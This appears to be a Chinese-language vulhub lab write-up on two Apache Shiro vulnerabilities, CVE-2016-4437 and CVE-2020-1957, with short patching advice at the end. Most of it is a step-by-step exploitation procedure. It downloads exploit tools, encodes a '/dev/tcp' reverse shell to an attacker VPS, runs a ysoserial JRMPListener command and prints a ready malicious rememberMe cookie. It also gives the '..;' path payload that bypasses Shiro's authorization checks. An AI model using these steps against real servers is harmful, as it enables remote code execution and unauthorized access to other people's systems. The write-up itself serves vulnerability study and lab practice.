总字符数: 5.55K

代码: 1.59K, 文本: 1.08K

预计阅读时间: 12 分钟

漏洞介绍

Apache Shiro是一个强大且易用的Java安全框架,执行身份验证、授权、密码和会话管理.使用Shiro易于理解的API,开发者可以快速、轻松地获得任何应用程序,从最小的移动应用程序到最大的网络和企业应用程序

在Shiro <= 1.2.4中,反序列化过程中所用到的AES加密的key是硬编码在源码中,当用户勾选RememberMe并登录成功,Shiro会将用户的cookie值序列化,AES加密,接着base64编码后存储在cookie的rememberMe字段中,服务端收到登录请求后,会对rememberMe的cookie值进行base64解码,接着进行AES解密,然后反序列化.由于AES加密是对称式加密(key既能加密数据也能解密数据),所以当攻击者知道了AES key后,就能够构造恶意的rememberMe cookie值从而触发反序列化漏洞

漏洞复现(CVE-2016-4437)

检测

使用burp抓取当前页面数据包,在cookie中添加rememberMe=1,在响应包中显示两个Set-Cookie: rememberMe=deleteMe,说明存在shiro框架可能存在漏洞

使用Shiro_tool进行检测

1
2
wget https://security-1258894728.cos.ap-beijing.myqcloud.com/writeup/vulhub/shiro/shiro_tool.jar
java -jar shiro_tool.jar http://192.168.164.128:8080

反弹shell利用(CVE-2016-4437)

云服务器监听

执行利用脚本

  1. 加密bash命令

    注意:Java中的命令执行,并不是使用系统中的bash或是cmd进行的系统命令执行,而是使用JAVA本身,所以反弹shell的重定向符在JAVA中并不支持

  2. 手动加密
    1. 将反弹shell的命令进行base64加密,填入下方

    1
    2
    # bash -i >& /dev/tcp/YOUR-VPS-IP/6666 0>&1
    bash -c {echo,YOUR-BASE64}|{base64,-d}|{bash,-i}
  3. 自动加密
    https://ares-x.com/tools/runtime-exec/

使用JRMPListener二次反序列化

1
java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 6666 CommonsBeanutils1 "bash -c {echo,YOUR-BASE64}|{base64,-d}{bash,-i}"

执行命令生成cookie

1
2
3
4
5
6
7
8
9
 # 下载脚本
wget https://security-1258894728.cos.ap-beijing.myqcloud.com/writeup/vulhub/shiro/shiro.py
# 下载依赖
python2 -m pip install pycryptodome -i http://pypi.douban.com/simple --trusted-host pypi.douban.com
# 构造payload
# 此处端口号需要与前面ysoserial监听模块端口一致
python2 shiro.py 192.168.164.1:6666
# 生成后的payload
rememberMe=Zzsowg/XQ6mX24rvRmm4nJeWl2jmxX4jATG/J4U/r98wz8P/TGs9h0zbkmqnfDV3cfreopZaerYpnnAwEX2AAP/yiQ3jqtmuj7BkS9gZSanHbdBYJ9NrZR0CcUNPm8JGGFXkjY70vvdPCH4yROTbMXeaI9zy45bu1ON8azkWKExgo9d2Q5eE1VV74HgD/xxdg1rooNlfuDSeT3MNwlek+JaHS+s9SX5co/AC8cRBj8q8aCXTh/FdV10RJElUGlmrxo5n0PI5kKs5UsYIynb4JYW46pBK+cVx98FZ9IZtv5l/16TD7vu62rKQhRsAhAVAtoQM8tiLKvQ0ZzP/9wZak5g+vWOPcxuhvlOl8gIYIRx48PqF6wlZehza+qH4N0OEHCg0JE+lz71uXKKMYyASVA==

Burp发送恶意Cookie

VPS上收到反弹Shell

漏洞修复(CVE-2016-4437)

删除代码中的默认密钥
升级Shiro到1.2.5及以上
不要使用网上的密钥,可以自己base64生成一个AES密钥

环境搭建(CVE-2020-1957)

p牛靶场:执行如下命令启动一个搭载Spring 2.2.2与Shiro 1.5.1的应用:

1
docker-compose up -d

环境启动后,访问http://your-ip:8080即可查看首页.
这个应用中对URL权限的配置如下:

1
2
3
4
5
6
7
8
@Bean
public ShiroFilterChainDefinition shiroFilterChainDefinition() {
DefaultShiroFilterChainDefinition chainDefinition = new DefaultShiroFilterChainDefinition();
chainDefinition.addPathDefinition("/login.html", "authc"); // need to accept POSTs from the login form
chainDefinition.addPathDefinition("/logout", "logout");
chainDefinition.addPathDefinition("/admin/**", "authc");
return chainDefinition;
}

漏洞复现(CVE-2020-1957)

直接请求管理页面/admin/,无法访问,将会被重定向到登录页面:


构造恶意请求/xxx/..;/admin/,即可绕过权限校验,访问到管理页面
java绕过鉴权路由后加:..;或;或/